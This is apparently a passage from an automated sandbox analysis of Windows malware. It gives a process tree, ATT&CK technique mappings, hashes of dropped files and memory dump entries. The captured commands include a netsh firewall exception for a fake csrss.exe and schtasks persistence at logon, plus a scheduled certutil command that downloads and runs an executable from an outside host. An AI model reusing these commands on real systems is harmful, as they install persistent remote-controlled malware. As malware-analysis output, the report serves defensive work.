  2⤵
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3028
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      Modifies data under HKEY_USERS
      PID:1240
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Executes dropped EXE
    - Manipulates WinMonFS driver.
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:912
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2744
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2288
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2380
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2408

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240827103904.log C:\Windows\Logs\CBS\CbsPersist_20240827103904.cab
1⤵
- Drops file in Windows directory
PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab4896.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4899.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
c4d59e5a2227962b4b70519f124417cb

SHA1
a76548252bef5b1bd886b7552554ddbcf4f14ecc

SHA256
d48faed24c55c92c7f88c78c003245f1c5de33636432e37425ab799fdd73a7e2

SHA512
a7f4c0f317b1fffdfbaf1f8d2bc767b0d801fdf723a99f4f30af5bbf757956b36edcd8be24a0a5d8b485eca5a90af62ebe303839faa6cf7bdb853ad1dd9d61b0

Download Submit
memory/912-437-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-441-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-460-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-18-0x0000000003490000-0x0000000003837000-memory.dmp

Filesize
3.7MB

Download
memory/912-459-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-458-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-445-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-444-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-442-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-440-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-439-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-328-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-200-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/912-212-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2380-38-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2380-24-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2544-5-0x0000000003770000-0x0000000003B17000-memory.dmp

Filesize
3.7MB

Download
memory/2544-17-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2652-1-0x00000000032F0000-0x0000000003697000-memory.dmp

Filesize
3.7MB

Download
memory/2652-2-0x00000000036A0000-0x0000000003D96000-memory.dmp

Filesize
7.0MB

Download
memory/2652-0-0x00000000032F0000-0x0000000003697000-memory.dmp

Filesize
3.7MB

Download
memory/2652-3-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/2652-6-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/2652-8-0x00000000036A0000-0x0000000003D96000-memory.dmp

Filesize
7.0MB

Download
memory/2652-4-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2652-7-0x00000000032F0000-0x0000000003697000-memory.dmp

Filesize
3.7MB

Download